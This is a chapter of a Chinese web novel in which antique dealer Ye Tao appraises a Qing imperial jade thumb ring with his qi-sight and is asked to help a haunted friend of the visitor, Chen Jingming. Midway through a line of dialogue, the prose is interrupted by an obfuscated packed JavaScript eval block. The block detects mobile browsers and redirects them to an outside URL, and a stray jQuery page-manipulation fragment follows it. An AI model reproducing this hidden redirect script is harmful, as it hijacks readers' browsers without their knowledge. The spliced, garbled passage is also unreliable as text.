来人是一个气质不凡的年轻男子。
他约莫三十出头,一身深灰色休闲西装,没打领带,却透着股沉稳干练。五官棱角分明,眼神清澈而锐利,一看就是见过世面的人。
男子进门后没有像普通客人那样东张西望,而是先环顾了一圈店内的布局,目光在那尊南洋观音像上停留了片刻,最后向叶涛微微颔首。
“老板怎么称呼?”他的声音温和。
“叶涛。”叶涛起身相迎,“先生想看点什么东西?”
“叶老板,幸会。”男子递上一张名片,上面只有简简单单几个字:陈景明,省城文化厅。
“陈先生请坐。”
叶涛接过名片,引他到茶台前坐下,傅云汐已经默契地开始泡茶。
陈景明落座后,目光在傅云汐身上掠过,眼中闪过一丝欣赏,但很快收回,看向叶涛:“我是来云海办点公差,顺便逛逛古玩街。刚才路过,看到望气阁这个店名,觉得挺有意思,就进来了。”
他顿了顿,饶有兴趣地问:“叶老板,这‘望气’二字,是有什么讲究?我走过不少古玩店,还是头一回见这种名字。”
叶涛笑了笑:“也没什么特别的讲究。就是我这人看东西,喜欢先看个气,物件有没有灵气,气息纯不纯,年份够不够。”
“看气?”陈景明眼睛一亮,“这个说法新鲜。物件还能有气?”
“万物皆有气。”叶涛随口道,“人有气场,物有灵气,地有地气。只是大多数人感知不到罢了。”
陈景明点点头,似乎对这个话题很感兴趣,又闲聊了几句,话题转到了古玩上。
他指着一旁博古架上的几件瓷器道:“叶老板店里东西不多,但看着都挺有味道。”
“陈先生好眼力。”叶涛顺口道,“我这里不求多,只求精。每件东西,都是我自己过眼的。”
“哦?”陈景明来了兴致,“那叶老板能不能给我讲讲,这件青花笔筒,有什么说法?”
他指了指架上一件青花缠枝莲纹笔筒,品相不错,是明晚期的民窑精品。
叶涛点点头,不疾不徐地介绍:“这是明万历时期的青花笔筒,缠枝莲纹是当时常见的题材。你看这青花发色,蓝中带紫,用的是回青料,是万历早期的特征。胎体细腻,釉面肥润,底足的处理……”
他讲得细致,却又通俗易懂,没有太多故弄玄虚的术语。
陈景明听得入神,不时点头。
等叶涛讲完,他由衷赞道:“叶老板果然厉害,不仅懂气,还懂物。不像有些店的伙计,一问三不知,只会背说明书。”
他顿了顿,话锋一转:“我有个小忙,想请叶老板帮个忙。”
“陈先生请说。”
陈景明从随身的公文包里取出一个巴掌大的锦盒,轻轻放在茶台上。
“这是我从省城带来的一件小东西,想请叶老板帮忙掌掌眼。”他打开锦盒,里面是一枚白玉扳指。
扳指色泽温润,质地细腻,雕工简约,只在表面刻了几个简单的云纹。看起来平平无奇,但叶涛一眼就看出,这东西不简单。
在望气术下,这枚扳指周身萦绕着一层淡金色的光晕,虽不浓郁,却极为纯粹,带着一种凛然不可侵犯的气息。旁边信息显示:【金色:清代宫廷之物,蕴含皇者余威。】
叶涛心中一震。
蕴含皇者余威?价值难以估量。
他拿起扳指,仔细端详片刻,然后放下,看向陈景明:“这是清代宫廷之物,而且应该是皇帝戴过的。从玉质和工艺看,至少是乾隆晚期到嘉庆时期的。”
陈景明眼中闪过一丝惊讶,随即笑道:“实不相瞒,这是我爷爷留下的。他老人家当年参加过抗战,这件东西,据说是从一个日本军官手里缴获的。我们一直当传家宝供着,但具体来历,一直弄不清楚。”
他看向叶涛,眼神真诚了几分:“今天来云海出差,路过古玩街,就想着找个懂行的人看看。没想到第一家店就遇到了高人。”
叶涛摆手:“陈先生过奖了。”
陈景明将扳指收好,又聊了几句,忽然问:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17339598|199290||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叶老板,你这望气阁,除了买卖古玩,还做别的吗?比如……给人看个相,或者看个宅子什么的?”
叶涛微微一愣:“陈先生想请我看什么?”
陈景明沉吟道:“不是给我看,是我一个朋友。他最近遇到些怪事,家里总是不太平,人也总是精神恍惚,去医院查了,什么事都没有。家里老人说是‘冲撞’了什么,让我帮忙留意有没有懂行的人。”
他看向叶涛:“我看叶老板是个有真本事的人,所以冒昧一问。”
叶涛心中了然。这种“冲撞”之事,十有八九是与阴邪有关。既然对方主动开口,他倒不介意帮一把。
“陈先生的朋友在云海还是省城?”
“在省城。”陈景明道,“如果叶老板方便,我可以安排时间,请你过去看看。当然,诊金不会少。”
叶涛点点头:“可以。不过最近店里刚开业,走不开太远。等过些日子,我抽时间去省城一趟。”
“那太好了!”陈景明当即留下自己的联系方式,约定到时候提前联系。
临走前,他又看了一眼那尊南洋观音像,似乎想说什么,但最终没开口,只是对叶涛拱拱手,告辞离开。
等陈景明走远,王伟凑过来,小声问:“涛哥,这人靠谱吗?省城文化厅的,不会是什么骗子吧?”
叶涛摇摇头:“应该不是。那枚扳指是真东西,来历不凡。能拿出这种东西传家的,不会是普通人。”
傅云汐在一旁轻声道:“这人气质沉稳,言谈得体,不像是骗子。而且他看那尊观音像的时候,眼神有些异样,好像认出了什么。”
叶涛点点头。他也注意到了,但对方既然没问,他也不会主动提起。
接下来的几天,望气阁依旧不温不火,偶尔有几个客人,大多是看看就走。
倒是林薇薇来过两次,每次都待很久,跟傅云汐聊得投机,两人竟成了朋友。
这天下午,叶涛正在后院研究新获得的中级符篆,手机忽然响了。
是陈景明打来的。